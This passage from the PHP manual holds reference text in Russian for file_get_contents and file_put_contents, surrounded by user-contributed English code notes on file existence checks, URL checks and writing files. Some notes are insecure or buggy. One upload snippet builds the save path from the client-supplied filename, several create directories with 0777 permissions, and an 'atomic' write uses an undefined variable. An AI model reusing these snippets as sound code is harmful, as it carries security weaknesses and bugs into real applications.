Note that this will return false for streams, eg, php://stdin.
fabin dot gnu at gmail dot com 31-Jan-2009 01:03
The code can be used to t a filename that can be used to create a new filename.

<?php
function generateRandomString($length = 8)
{
    $string = "";

    //character that can be used
    $possible = "0123456789bcdfghjkmnpqrstvwxyz";

    for($i=0;$i < $length;$i++)
    {
        $char = substr($possible, rand(0, strlen($possible)-1), 1);

        if (!strstr($string, $char))
        {
            $string .= $char;
        }
    }

    return $string;
}

function randomFile($folder = '', $extension = '')
{
    $folder = trim($folder);
    $folder = ($folder == '') ? './' : $folder;

    //check if directory exist
    if (!is_dir($folder)){ die('invalid folder given!'); }

    //generate a filepath
    $filepath = $folder . "/" . generateRandomString(128) . $extension;

    //check if that filepath already exist, if it exist if generates again
    //till if gets one that doesn't exist
    while(file_exists($filepath))
    {
        $filepath = $folder . "/" . generateRandomString(128) . $extension;
    }

    return $filepath;
}
?>
kevin at cuznersoft dot com 04-Nov-2008 08:32
My way of making sure files exist before including them is as follows (example: including a class file in an autoloader):

<?php
function __autoload($name)
{
    $path = explode(":", ini_get('include_path')); //get all the possible paths to the file (preloaded with the file structure of the project)
    foreach($path as $tryThis)
    {
        //try each possible iteration of the file name and use the first one that comes up
        // name.class.php first
        $exists = file_exists($tryThis . '/' . $name . '.class.php');
        if ($exists)
        {
            include_once($name . '.class.php');
            return;
        }

        //ok that didn't work, try the other way around
        $exists = file_exists($tryThis . '/' . 'class.' . $name . '.php');
        if ($exists)
        {
            include_once('class.' . $name . '.php');
            return;
        }

        //neither did that...let's try as an inc.php
        $exists = file_exists($tryThis . '/' . $name . '.inc.php');
        if ($exists)
        {
            include_once($name . '.inc.php');
            return;
        }
    }

    // can't find it...
    die("Class $name could not be found!");
}
?>
Avee 19-Aug-2008 08:21
I made a bit of code that sees whether a file served via RTSP is there or not:

<?php
function rtsp_exists($url) {

    $server = parse_url($url, PHP_URL_HOST);
    $port = "554";
    $hdrs = "DESCRIBE " .$url ." RTSP/1.0"."\r\n\r\n";

    //Open connection (15s timeout)
    $sh = fsockopen($server, $port, $err, $err_otp, 15);
    //Check connections
    if(!$sh) return false;
    //Send headers
    fputs($sh,$hdrs);
    //Receive data (1KB)
    $rtds = fgets($sh, 1024);
    //Close socket
    fclose($sh);

    return strpos($rtds, "200 OK") > 0;
}
?>
dan at sudonames dot com 05-Aug-2008 05:41
Here is a simpler version of url_exists:

<?php
function url_exists($url) {
    $hdrs = @get_headers($url);
    return is_array($hdrs) ? preg_match('/^HTTP\\/\\d+\\.\\d+\\s+2\\d\\d\\s+.*$/',$hdrs[0]) : false;
}
?>
stuart 26-Feb-2008 10:44
When using file_exists, seems you cannot do:

<?php
foreach ($possibles as $poss)
{
    if ( file_exists(SITE_RANGE_IMAGE_PATH .$this->range_id .'/ '.$poss .'.jpg') )
    {
        // exists
    }
    else
    {
        // not found
    }
}
?>

so you must do:

<?php
foreach ($possibles as $poss)
{
    $img = SITE_RANGE_IMAGE_PATH .$this->range_id .'/ '.$poss .'.jpg'
    if ( file_exists($img) )
    {
        // exists
    }
    else
    {
        // not found
    }
}
?>

Then things will work fine.

This is at least the case on this Windows system running php 5.2.5 and apache 2.2.3

Not sure if it is down to the concatenation or the fact theres a constant in there, i'm about to run away and test just that...
jaz-t at hotmail dot com 26-Feb-2008 07:12
Note on openspecies entry (excellent btw, thanks!).

If your server cannot resolve its own DNS, use the following:
$f = preg_replace('/www\.yourserver\.(net|com)/', getenv('SERVER_ADDR'), $f);

Just before the $h = @get_headers($f); line.

Replace the extensions (net|com|...) in the regexp expression as appropriate.

EXAMPLE:
File you are checking for: http://www.youserver.net/myfile.gif
Server IP: 10.0.0.125

The preg_replace will effectively 'resolve' the address for you by assigning $f as follows:
http://10.0.0.125/myfile.gif
maurice at idify dot nl 20-Nov-2007 02:45
Note: The results of this function are cached. See clearstatcache() for more details.

That's a pretty big note. Don't forget this one, since it can make your file_exists() behave unexpectedly - probably at production time ;)
marufit at gmail dot com 12-Nov-2007 03:22
Older php (v4.x) do not work with get_headers() function. So I made this one and working.

<?php
function url_exists($url) {
    // Version 4.x supported
    $handle   = curl_init($url);
    if (false === $handle)
    {
        return false;
    }
    curl_setopt($handle, CURLOPT_HEADER, false);
    curl_setopt($handle, CURLOPT_FAILONERROR, true);  // this works
    curl_setopt($handle, CURLOPT_NOBODY, true);
    curl_setopt($handle, CURLOPT_RETURNTRANSFER, false);
    $connectable = curl_exec($handle);
    curl_close($handle);
    return $connectable;
}
?>
ktcb123 at hotmail dot com 22-Oct-2007 12:26
For some reason, none of the url_exists() functions posted here worked for me, so here is my own tweaked version of it.

<?php
    function url_exists($url){
        $url = str_replace("http://", "", $url);
        if (strstr($url, "/")) {
            $url = explode("/", $url, 2);
            $url[1] = "/".$url[1];
        } else {
            $url = array($url, "/");
        }

        $fh = fsockopen($url[0], 80);
        if ($fh) {
            fputs($fh,"GET ".$url[1]." HTTP/1.1\nHost:".$url[0]."\n\n");
            if (fread($fh, 22) == "HTTP/1.1 404 Not Found") { return FALSE; }
            else { return TRUE;    }

        } else { return FALSE;}
    }
?>
guillermogomezruiz at gmail dot com 07-Sep-2007 04:08
I was having problems with the file_exists when using urls, so I made this function:

<?php
function file_exists_2($filePath)
{
    return ($ch = curl_init($filePath)) ? @curl_close($ch) || true : false;
}
?>

Cheers!
bvazquez at siscomx dot com 04-Jul-2007 09:13
If you are trying to access a Windows Network Share you have to configure your WebServer with enough permissions for example:

$file = fopen("\\siscomx17\c\websapp.log",'r');

You will get an error telling you that the pathname doesnt exist this will be because Apache or IIS run as LocalSystem so you will have to enter to Services and configure Apache on "Open a session as" Create a new user that has enough permissions and also be sure that target share has the proper permissions.

Hope this save some hours of research to anyone.
vernon at kesnerdesigns dot net 10-May-2007 08:44
In response to seejohnrun's version to check if a URL exists. Even if the file doesn't exist you're still going to get 404 headers.  You can still use get_headers if you don't have the option of using CURL..

$file = 'http://www.domain.com/somefile.jpg';
$file_headers = @get_headers($file);
if($file_headers[0] == 'HTTP/1.1 404 Not Found') {
    $exists = false;
}
else {
    $exists = true;
}
earle dot west at transactionalweb dot com 14-Mar-2007 05:49
If the file being tested by file_exists() is a file on a symbolically-linked directory structure, the results depend on the permissions of the directory tree node underneath the linked tree.   PHP under a web server (i.e. apache) will respect permissions of the file system underneath the symbolic link, contrasting with PHP as a shell script which respects permissions of the directories that are linked (i.e. on top, and visible).

This results in files that appear to NOT exist on a symbolic link, even though they are very much in existance and indeed are readable by the web server.
07-Jan-2006 01:08
I wrote this little handy function to check if an image exists in a directory, and if so, return a filename which doesnt exists e.g. if you try 'flower.jpg' and it exists, then it tries 'flower[1].jpg' and if that one exists it tries 'flower[2].jpg' and so on. It works fine at my place. Ofcourse you can use it also for other filetypes than images.

<?php
function imageExists($image,$dir) {

    $i=1; $probeer=$image;

    while(file_exists($dir.$probeer)) {
        $punt=strrpos($image,".");
        if(substr($image,($punt-3),1)!==("[") && substr($image,($punt-1),1)!==("]")) {
            $probeer=substr($image,0,$punt)."[".$i."]".
            substr($image,($punt),strlen($image)-$punt);
        } else {
            $probeer=substr($image,0,($punt-3))."[".$i."]".
            substr($image,($punt),strlen($image)-$punt);
        }
        $i++;
    }
    return $probeer;
}
?>
Fabrizio (staff at bibivu dot com) 21-Dec-2005 06:11
here a function to check if a certain URL exist:
<?php
    function url_exists($url) {
        $a_url = parse_url($url);
        if (!isset($a_url['port'])) $a_url['port'] = 80;
        $errno = 0;
        $errstr = '';
        $timeout = 30;
        if(isset($a_url['host']) && $a_url['host']!=gethostbyname($a_url['host'])){
            $fid = fsockopen($a_url['host'], $a_url['port'], $errno, $errstr, $timeout);
            if (!$fid) return false;
            $page = isset($a_url['path'])  ?$a_url['path']:'';
            $page .= isset($a_url['query'])?'?'.$a_url['query']:'';
            fputs($fid, 'HEAD '.$page.' HTTP/1.0'."\r\n".'Host: '.$a_url['host']."\r\n\r\n");
            $head = fread($fid, 4096);
            fclose($fid);
            return preg_match('#^HTTP/.*\s+[200|302]+\s#i', $head);
        } else {
            return false;
        }
    }
?>

in my CMS, I am using it with those lines:
<?php
        if(!isset($this->f_exist[$image]['exist']))
            if(strtolower(substr($fimage,0,4)) == 'http' || strtolower(substr($fimage,0,4)) == 'www.'){
                if(strtolower(substr($image,0,4)) == 'www.'){
                    $fimage = 'http://'.$fimage;
                    $image = 'http://'.$image;
                }
                $this->f_exist[$image]['exist'] = $this->url_exists($fimage); //for now
            } else {
                $this->f_exist[$image]['exist'] = ($fimage!='' && file_exists($fimage) && is_file($fimage) && is_readable($fimage) && filesize($fimage)>0);
            }
        }
?>
ihoss dot com at gmail dot com 19-Oct-2005 07:37
The following script checks if there is a file with the same name and adds _n to the end of the file name, where n increases. if img.jpg is on the server, it tries with img_0.jpg, checks if it is on the server and tries with img_1.jpg.
<?php
  $img = "images/".$_FILES['bilde']['name'];
  $t=0;
  while(file_exists($img)){
    $img = "images/".$_FILES['bilde']['name'];
    $img=substr($img,0,strpos($img,"."))."_$t".strstr($img,".");
    $t++;
  }
  move_uploaded_file($_FILES['bilde']['tmp_name'], $img);
?>
tma at 2p dot cz 24-Aug-2005 01:47
If checking for a file newly created by an external program in Windows then file_exists() does not recognize it immediately.  Iy seems that a short timeout may be required.

<?
    $file = 'file.tmp';
    if ($h = popen("start \"bla\" touch $file", "r")) {
      pclose($h);
   // now I would like know if a file was created
   // note: usleep not supported
      $start = gettimeofday();
      while (!file_exists(trim($file, " '\""))) {
        $stop = gettimeofday();
        if ( 1000000 * ($stop['sec'] - $start['sec']) + $stop['usec'] - $start['usec'] > 500000) break;  // wait a moment
     }

     if (file_exists($file))   // now should be reliable
?>
andrewNOSPAMPLEASE at abcd dot NOSPAMERSca 11-Feb-2005 05:29
file_exists will have trouble finding your file if the file permissions are not read enabled for 'other' when not owned by your php user. I thought I was having trouble with a directory name having a space in it (/users/andrew/Pictures/iPhoto Library/AlbumData.xml) but the reality was that there weren't read permissions on Pictures, iPhoto Library or AlbumData.xml. Once I fixed that, file_exists worked.
Nathaniel 08-Feb-2005 09:08
I spent the last two hours wondering what was wrong with my if statement: file_exists($file) was returning false, however I could call include($file) with no problem.

It turns out that I didn't realize that the php include_path value I had set in the .htaccess file didn't carry over to file_exists, is_file, etc.

Thus:

<?PHP
// .htaccess php_value include_path '/home/user/public_html/';

// includes lies in /home/user/public_html/includes/

//doesn't work, file_exists returns false
if ( file_exists('includes/config.php') )
{
     include('includes/config.php');
}

//does work, file_exists returns true
if ( file_exists('/home/user/public_html/includes/config.php') )
{
    include('includes/config.php');
}
?>

Just goes to show that "shortcuts for simplicity" like setting the include_path in .htaccess can just cause more grief in the long run.


Читает содержимое файла в строку

  • « file_exists
  • file_put_contents »
  • PHP Manual
  • Функции файловой системы
  • Читает содержимое файла в строку

file_get_contents

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

file_get_contents — Читает содержимое файла в строку

Описание

file_get_contents(
string $filename,
bool $use_include_path = false,
?resource $context = null,
int $offset = 0,
?int $length = null
): string|false

Данная функция похожа на функцию file() с той лишь разницей, что file_get_contents() возвращает содержимое файла в строке, начиная с указанного смещения offset и до length байт. В случае неудачи, file_get_contents() вернёт false.

Использование функции file_get_contents() наиболее предпочтительно в случае необходимости получить содержимое файла целиком, поскольку для улучшения производительности функция использует технику отображения файла в память (memory mapping), если она поддерживается вашей операционной системой.

Замечание:

Если вы открываете URI, содержащий спецсимволы, такие как пробел, вам нужно закодировать URI при помощи urlencode().

Список параметров

filename

Имя читаемого файла.

use_include_path

Замечание:

Можно использовать константу FILE_USE_INCLUDE_PATH для поиска файла в include path. Только помните, что если вы используете строгую типизацию, то так сделать не получится, поскольку FILE_USE_INCLUDE_PATH имеет тип int. В таком случае используйте true.

context

Корректный ресурс контекста, созданный с помощью функции stream_context_create(). Если в использовании особого контекста нет необходимости, можно пропустить этот параметр передав в него значение null.

offset

Смещение, с которого начнётся чтение оригинального потока. Отрицательное значение смещения будет отсчитываться с конца потока.

Поиск смещения (offset) не поддерживается при работе с удалёнными файлами. Попытка поиска смещения на нелокальных файлах может работать при небольших смещениях, но результат будет непредсказуемым, так как функция работает на буферизованном потоке.

length

Максимальный размер читаемых данных. По умолчанию чтение осуществляется пока не будет достигнут конец файла. Учтите, что этот параметр применяется и к потоку с фильтрами.

Возвращаемые значения

Функция возвращает прочтённые данные или false в случае возникновения ошибки.

Внимание

Эта функция может возвращать как логическое значение false, так и значение не типа boolean, которое приводится к false. За более подробной информацией обратитесь к разделу Булев тип. Используйте оператор === для проверки значения, возвращаемого этой функцией.

Ошибки

Будет сгенерирована ошибка уровня E_WARNING в случаях, если не удастся найти filename, задан length меньше нуля, или поиск по смещению offset в потоке завершится неудачно.

Когда file_get_contents() вызывается в каталоге, в Windows ошибка генерируется E_WARNING, а с PHP 7.4 также в других операционных системах.

Список изменений

Версия | Описание
8.0.0 | Параметр length теперь допускает значение null.
7.1.0 | Добавлена поддержка отрицательных значений offset.

Примеры

Пример #1 Получить и вывести исходный код домашней страницы сайта

<?php
$homepage = file_get_contents('http://www.example.com/');
echo $homepage;
?>

Пример #2 Поиск файлов в include_path

<?php
// Если включены строгие типы, то есть объявлено (strict_types=1);
$file = file_get_contents('./people.txt', true);
// Иначе
$file = file_get_contents('./people.txt', FILE_USE_INCLUDE_PATH);
?>

Пример #3 Чтение секции файла

<?php
// Читаем 14 символов, начиная с 21 символа
$section = file_get_contents('./people.txt', FALSE, NULL, 20, 14);
var_dump($section);
?>

Результатом выполнения данного примера будет что-то подобное:

string(14) "lle Bjori Ro"

Пример #4 Использование потоковых контекстов

<?php
// Создаём поток
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Accept-language: en\r\n" .
"Cookie: foo=bar\r\n"
)
);

$context = stream_context_create($opts);

// Открываем файл с помощью установленных выше HTTP-заголовков
$file = file_get_contents('http://www.example.com/', false, $context);
?>

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Подсказка

Для этой функции вы можете использовать URL в качестве имени файла, если была включена опция fopen wrappers. Смотрите более подробную информацию об определении имени файла в описании функции fopen(). Смотрите также список поддерживаемых обёрток URL, их возможности, замечания по использованию и список предопределённых констант в разделе Поддерживаемые протоколы и обёртки.

Внимание

При использовании SSL, Microsoft IIS нарушает протокол, закрывая соединение без отправки индикатора close_notify. PHP сообщит об этом как "SSL: Fatal Protocol Error" в тот момент, когда вы достигнете конца данных. Чтобы обойти это, вы должны установить error_reporting на уровень, исключающий E_WARNING. PHP умеет определять, что на стороне сервера находится проблемный IIS при открытии потока с помощью обёртки https:// и не выводит предупреждение. Если вы используете fsockopen() для создания ssl:// сокета, вы сами отвечаете за определение и подавление этого предупреждения.

Смотрите также

  • file() - Читает содержимое файла и помещает его в массив
  • fgets() - Читает строку из файла
  • fread() - Бинарно-безопасное чтение файла
  • readfile() - Выводит файл
  • file_put_contents() - Пишет данные в файл
  • stream_get_contents() - Читает оставшуюся часть потока в строку
  • stream_context_create() - Создаёт контекст потока
  • $http_response_header

User Contributed Notes

KC 29-Nov-2023 01:58
If doing a negative offset to grab the end of a file and the file is shorter than the offset, then file_get_contents( ) will return false.

If you want it to just return what is available when the file is shorter than the negative offset, you could try again.

For example...

$contents = file_get_contents( $log_file, false, null, -4096 ); // Get last 4KB

if ( false === $contents ) {
    // Maybe error, or maybe file less than 4KB in size.

    $contents = file_get_contents( $log_file, false, null );

    if ( false === $contents ) {
        // Handle real error.
    }
}
brentcontact at daha dot us 08-Aug-2023 10:55
To prevent mixed content most browsers/functions will use the protocol already used if you specify only // instead of http:// or https://. This is not the case with file_get_contents. You must specify the protocol.

This does not work:
<?php
$jsonData = file_get_contents('//example.com/file.json');
print $jsonData;
?>

Specifying only 'example.com/file.json' without the double slash does not work either.

When running on Apache 2.4 , using $_SERVER['REQUEST_SCHEME'] is a better way to be protocol agnostic.
<?php
$jsonData = file_get_contents($_SERVER['REQUEST_SCHEME'].'://example.com/file.json');
print $jsonData;
?>

If using another web server, you may have to get the protocol another way or hard code it.
daniel at dangarbri dot tech 16-Mar-2023 04:20
Note that if an HTTP request fails but still has a response body, the result is still false, Not the response body which may have more details on why the request failed.
soger 20-Sep-2022 12:54
There's barely a mention on this page but the $http_response_header will be populated with the HTTP headers if your file was a link. For example if you're expecting an image you can do this:

<?php
$data = file_get_contents('https://example.net/some-link');

$mimetype = null;
foreach ($http_response_header as $v) {
    if (preg_match('/^content\-type:\s*(image\/[^;\s\n\r]+)/i', $v, $m)) {
        $mimetype = $m[1];
    }
}

if (!$mimetype) {
    // not an image
}
453034559 at qq dot com 14-Sep-2021 03:22
//????????????????
function file_start_length($path,$start=0,$length=null){
    if(!file_exists($path)) return false;
    $size=filesize($path);
    if($start<0) $start+=$size;
    if($length===null) $length=$size-$start;
    return file_get_contents($path, false, null, $start, $length );
}
Anonymous 24-Aug-2021 07:53
if the connection is
content-encoding: gzip
and you need to manually ungzip it, this is apparently the key
$c=gzinflate( substr($c,10,-8) );
(stolen from the net)
allenmccabe at gmail dot com 27-Jul-2021 09:11
I'm not sure why @jlh was downvoted, but I verified what he reported.

>>> file_get_contents($path false, null, 5, null)
=> ""
>>> file_get_contents($path, false, null, 5, 5)
=> "r/bin"
Bart Friederichs 16-Apr-2012 12:17
file_get_contents can do a POST, create a context for that first:

<?php

$opts = array('http' =>
  array(
    'method'  => 'POST',
    'header'  => "Content-Type: text/xml\r\n".
      "Authorization: Basic ".base64_encode("$https_user:$https_password")."\r\n",
    'content' => $body,
    'timeout' => 60
  )
);

$context  = stream_context_create($opts);
$url = 'https://'.$https_server;
$result = file_get_contents($url, false, $context, -1, 40000);

?>


Пишет данные в файл

  • « file_get_contents
  • file »
  • PHP Manual
  • Функции файловой системы
  • Пишет данные в файл

file_put_contents

(PHP 5, PHP 7, PHP 8)

file_put_contents — Пишет данные в файл

Описание

file_put_contents(
string $filename,
mixed $data,
int $flags = 0,
?resource $context = null
): int|false

Функция идентична последовательным успешным вызовам функций fopen(), fwrite() и fclose().

Если filename не существует, файл будет создан. Иначе, существующий файл будет перезаписан, за исключением случая, если указан флаг FILE_APPEND.

Список параметров

filename

Путь к записываемому файлу.

data

Записываемые данные. Может быть типа string, array или ресурсом потока.

Если data является потоковым ресурсом (stream), оставшийся буфер этого потока будет скопирован в указанный файл. Это похоже на использование функции stream_copy_to_stream().

Также вы можете передать одномерный массив в качестве параметра data. Это будет эквивалентно вызову file_put_contents($filename, implode('', $array)).

flags

Значением параметра flags может быть любая комбинация следующих флагов, соединённых бинарным оператором ИЛИ (|).

Доступные флаги
Флаг | Описание
FILE_USE_INCLUDE_PATH | Ищет filename в подключаемых директориях. Подробнее смотрите директиву include_path.
FILE_APPEND | Если файл filename уже существует, данные будут дописаны в конец файла вместо того, чтобы его перезаписать.
LOCK_EX | Получить эксклюзивную блокировку на файл на время записи. Другими словами, между вызовами fopen() и fwrite() произойдёт вызов функции flock(). Это не одно и то же, что вызов fopen() с флагом "x".

context

Корректный ресурс контекста, созданный с помощью функции stream_context_create().

Возвращаемые значения

Функция возвращает количество записанных байт в файл, или false в случае возникновения ошибки.

Внимание

Эта функция может возвращать как логическое значение false, так и значение не типа boolean, которое приводится к false. За более подробной информацией обратитесь к разделу Булев тип. Используйте оператор === для проверки значения, возвращаемого этой функцией.

Примеры

Пример #1 Пример простого использования

<?php
$file = 'people.txt';
// Открываем файл для получения существующего содержимого
$current = file_get_contents($file);
// Добавляем нового человека в файл
$current .= "John Smith\n";
// Пишем содержимое обратно в файл
file_put_contents($file, $current);
?>

Пример #2 Использование флагов

<?php
$file = 'people.txt';
// Новый человек, которого нужно добавить в файл
$person = "John Smith\n";
// Пишем содержимое в файл,
// используя флаг FILE_APPEND для дописывания содержимого в конец файла
// и флаг LOCK_EX для предотвращения записи данного файла кем-нибудь другим в данное время
file_put_contents($file, $person, FILE_APPEND | LOCK_EX);
?>

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Подсказка

Для этой функции вы можете использовать URL в качестве имени файла, если была включена опция fopen wrappers. Смотрите более подробную информацию об определении имени файла в описании функции fopen(). Смотрите также список поддерживаемых обёрток URL, их возможности, замечания по использованию и список предопределённых констант в разделе Поддерживаемые протоколы и обёртки.

Смотрите также

  • fopen() - Открывает файл или URL
  • fwrite() - Бинарно-безопасная запись в файл
  • file_get_contents() - Читает содержимое файла в строку
  • stream_context_create() - Создаёт контекст потока

User Contributed Notes

Anonymous 08-May-2022 07:34
A more simplified version of the method that creates subdirectories:

function path_put_contents($filePath, $contents, $flags = 0) {

    if (! is_dir($dir = implode('/', explode('/', $filePath, -1))))
        mkdir($dir, 0777, true);
    file_put_contents($filePath, $contents, $flags);
}
jul dot rosset at gmail dot com 04-Jan-2021 03:56
This function doesn't return False if all data isn't write, especially when data is a stream resource

You must check yourself using return value.
<?php
    $url = 'https://monsite.fr/image.png';
    $size = filesize($url);
    $written = file_put_contents('image.png', fopen($url, 'r'));
    if ($size === false || $size != $written) {
        die('Download failed');
    }
?>
maksam07 at gmail dot com 05-Mar-2019 10:47
A slightly simplified version of the method: http://php.net/manual/ru/function.file-put-contents.php#84180

<?php
function file_force_contents( $fullPath, $contents, $flags = 0 ){
    $parts = explode( '/', $fullPath );
    array_pop( $parts );
    $dir = implode( '/', $parts );

    if( !is_dir( $dir ) )
        mkdir( $dir, 0777, true );

    file_put_contents( $fullPath, $contents, $flags );
}

file_force_contents( ROOT.'/newpath/file.txt', 'message', LOCK_EX );
?>
daniel at garcianoriega dot com 06-Oct-2018 04:07
I faced the problem of converting a downloaded csv file that had Windows-1252 encoding, so to convert it to UTF-8 this worked for me:

$from = 'Windows-1252';
$to = 'UTF-8';

$content = file_get_contents($this->path());

file_put_contents($this->path(), mb_convert_encoding($content, $to, $from));

where "$this->path()" has the path of the file... Using this the file is converted from Windows-1252 to UTF-8.

With this you can import it with mysqlimport with no problems.
Abe 30-May-2018 12:57
If you need to read a file, process the contents, and then write the contents back, all inside a lock so that no other process can interfere, then you probably can't use file_put_contents in lock mode.

As a work around, you can consider trying the following code to do a file write (fwrite) inside of a file lock.

Play with the $overwriting= setting to switch from simply appending to completely overwriting.

      <?php
      // Tested in PHP7.0.18

      $trackErrors = ini_get('track_errors');
      ini_set('track_errors', 1);

      $filename="c:/temp/test.txt";

      if ( ! file_exists($filename) ) {
         touch($filename);
      }

      $mode="r+";
      $fh=fopen($filename, $mode);
      if ( ! $fh ) {
         echo "<LI style='color:red'>Failed to open $filename in $mode";
         die();
      }

      if ( 1==1 ) {
         flock($fh, LOCK_EX);

         if ( 1==1 ) {
             if (filesize($filename) > 0) {
               $txt = fread($fh, filesize($filename));
               echo "BEFORE:<OL>$txt</OL>";
            }
            else {
               $txt = "empty";
            }

            $txt = "<LI>Date is now " . gmdate("Y-m-d H:i:s", time());

            echo "<HR>WRITING:<OL>";
            if ( 1==1 ) {

               $overwrite = false;
               if ($overwrite) {
                  echo "(Overwrite)<BR><BR>";
                  ftruncate($fh, 0);
                  // ftruncate is here as rewind will move the pointer
                  // to the beginning of the file and allow overwrite,
                  // but it will not remove existing content that
                  // extends beyond the length of the new write
                  rewind($fh);
               }
               else {
                  echo "(Appending)<BR><BR>";
               }

               if (fwrite($fh, $txt) == FALSE) {
                  echo "<LI style='color:red'>Failed to write to $filename";
                  die();
               }
               else {
                  echo "$txt";
               }
               fflush($fh);

            }
            echo "</OL>";
         }
         flock($fh, LOCK_UN);
      }
      fclose($fh);

      // -------------------------------------------------------------------

      echo "<HR>AFTER:<OL>";
      if ( 1==2 ) {
          // I've noticed that this block fails to pick up the newly
          // written content when run with fread, but does work with
          // the fgets logic below - possibly there is caching going on.
          $mode = "r";
          $fh2 = fopen($filename, $mode);
          $contents = fread($fh2, filesize($filename));
          echo "$contents";
          fclose($fh2);
      }
      else {
          $fh3 = fopen($filename, "r");
          while (!feof($fh3)) {
              $line = fgets($fh3);
              echo $line;
          }
          fclose($fh3);
      }
      echo "</OL>";

      echo "<HR>Fin";
      ?>
briethings at gmail dot com 22-Mar-2018 03:11
Here is a stupid pitfall I just fell into.
I think it may happen rather frequently, so I report it.

A common situation is that the $filename argument is built from two variables:
file_put_contents($path . $file, $content);

Say that $path = 'path/to' and $file = 'file.txt': you see that $path lacks its ending "/", so the resulting full path is 'path/tofile.txt'.

Then you look at 'path/to' and don't see any 'file.txt', although no warning or notice was thrown!
And may be (like for me :D) it'll take time before you realize that a bad 'tofile.txt' was created in the *parent* directory of the one where you were looking for your file.
marc at gutt dot it 27-Mar-2017 01:57
This php.net example could be confusing:
<?php
file_put_contents($file, $person, FILE_APPEND | LOCK_EX);
?>

You do not need LOCK_EX if you write only to a file (like log files). Multiple writing processes are already queued. Test it on your own by calling this script 4 times simultaneously:
<?php
function string_rand($len, $split="\n") {
    return substr(chunk_split(bin2hex(openssl_random_pseudo_bytes(ceil($len / 2))), 1023, $split), 0, $len);
}

ini_set('memory_limit', '200M');

if (!file_put_contents('../cache4/file.txt', string_rand(102400000), FILE_APPEND)) {
    exit('file_put_contents() error!');
}

clearstatcache();
echo 'filesize: ' . filesize('../cache4/file.txt') . PHP_EOL;

$fp = fopen('../cache4/file.txt', 'r');
if ($fp) {
    while (($line = fgets($fp)) !== false) {
        if (strlen($line) != 1024) {
            exit('Line length error!');
        }
    }
    fclose($fp);
}
?>

You will not see an error, the last called script needs the longest time (as it is the last one in the queue) and the final size will be 409600000 bytes as it should be.
vaneatona at gmail dot com 15-Mar-2017 09:09
I'm updating a function that was posted, as it would fail if there was no directory. It also returns the final value so you can determine if the actual file was written.

    public static function file_force_contents($dir, $contents){
        $parts = explode('/', $dir);
        $file = array_pop($parts);
        $dir = '';

        foreach($parts as $part) {
            if (! is_dir($dir .= "{$part}/")) mkdir($dir);
        }

        return file_put_contents("{$dir}{$file}", $contents);
    }
Anonymous 26-Feb-2017 10:20
Make sure not to corrupt anything in case of failure.

<?php

function file_put_contents_atomically($filename, $data, $flags = 0, $context = null) {
    if (file_put_contents($filename."~", $data, $flags, $context) === strlen($contents)) {
        return rename($filename."~",$filename,$context);
    }

    @unlink($filename."~", $context);
    return FALSE;
}

?>
josemiguel at likeik dot com 20-Sep-2016 12:22
Under PHP7.0, I have seen that using an empty string as $data, the function returns FALSE instead of 0 as it should:

        $data = ''
        $size = file_put_contents($filename, $data, FILE_APPEND);
        if ($size == FALSE)
        {
               echo "error writing file"
        }

Code will give error when $data is an empty string even using == operator.

Hope it helps somebody...
aabaev arroba gmail coma com 20-May-2016 11:02
I suggest to expand file_force_contents() function of TrentTompkins at gmail dot com by adding verification if patch is like: "../foo/bar/file"

if (strpos($dir, "../") === 0)
    $dir = str_replace("..", substr(__DIR__, 0, strrpos(__DIR__, "/")), $dir);
vilhar at hotmail dot com 23-Mar-2016 11:48
This should also handle $filename from other than root and also $filename without path.

function file_force_contents($filename, $data, $per = 0755, $flags = 0) {
        $fn = "";
    if(substr($filename, 0, 1) === "/") $fn .= "/";
    $parts = explode("/", $filename);
        $file = array_pop($parts);

        foreach($parts as $part) {
            if(!is_dir($fn .= "$part")) mkdir($fn, $per, true);
        $fn .= "/";
    }

        file_put_contents($fn.$file, $data, $flags);
}
Nadeem 28-Nov-2014 10:01
Log custom or error messages to a file.

<?php

class Logger{

    protected $file;

    protected $content;

    protected $writeFlag;

    protected $endRow;

    public function __construct($file,$endRow="\n",$writeFlag=FILE_APPEND) {

        $this->file=$file;

        $this->writeFlag=$writeFlag;

        $this->endRow=$endRow;

    }

    public function AddRow($content="",$newLines=1){

        for ($m=0;$m<$newLines;$m++)
        {

            $newRow .= $this->endRow;

        }

        $this->content .= $content . $newRow;

    }

    public function Commit(){

            return file_put_contents($this->file,$this->content,$this->writeFlag);

    }

    public function LogError($error,$newLines=1)
    {
        if ($error!=""){

            $this->AddRow($error,$newLines);
            echo $error;

        }

    }

}

$logFileDirectoryAndName="/yourDirectory/yourFileName.xxx";

$logger = new Logger($logFileDirectoryAndName);

$logger->AddRow("Your Log Message");

#log a system error and echo a message
$logger->LogError(mysql_error($conn));

$logger->Commit();
?>
gurjindersingh at SPAM dot hotmail dot com 18-Oct-2014 06:03
File put contents fails if you try to put a file in a directory that doesn't exist. This function creates the directory.

i have updated code of "TrentTompkins at gmail dot com". thanks
<?php
/**
 * @param string $filename <p>file name including folder.
 * example :: /path/to/file/filename.ext or filename.ext</p>
 * @param string $data <p> The data to write.
 * </p>
 * @param int $flags same flags used for file_put_contents.
 * more info: http://php.net/manual/en/function.file-put-contents.php
 * @return bool <b>TRUE</b> file created succesfully <br> <b>FALSE</b> failed to create file.
 */
function file_force_contents($filename, $data, $flags = 0){
    if(!is_dir(dirname($filename)))
        mkdir(dirname($filename).'/', 0777, TRUE);
    return file_put_contents($filename, $data,$flags);
}
// usage

file_force_contents('test1.txt','test1 content');  // test1.txt created

file_force_contents('test2/test2.txt','test2 content');
// test2/test2.txt created "test2" folder.

file_force_contents('~/test3/test3.txt','test3 content');
// /path/to/user/directory/test3/test3.txt created "test3" folder in user directory (check on linux "ll ~/ | grep test3").
?>
klunker dot roox at gmail dot com 17-Oct-2014 10:47
if path to the file not exist function file_put_contents can't create it. This simple function make it on UNIX-based and Windows servers.
<?php
function file_put_contents_force(){
    $args = func_get_args();
    $path = str_replace(array('/','\\'), DIRECTORY_SEPARATOR, $args[0]);
    $parts = explode(DIRECTORY_SEPARATOR, $path);
    array_pop($parts);
    $directory =  '';
    foreach($parts as $part):
        $check_path = $directory.$part;
            if( is_dir($check_path.DIRECTORY_SEPARATOR) === FALSE) {
                mkdir($check_path, 0755);
            }
            $directory = $check_path.DIRECTORY_SEPARATOR;
    endforeach;
    call_user_func_array('file_put_contents',$args);
}
?>
chris at ocportal dot com 28-Jul-2013 11:13
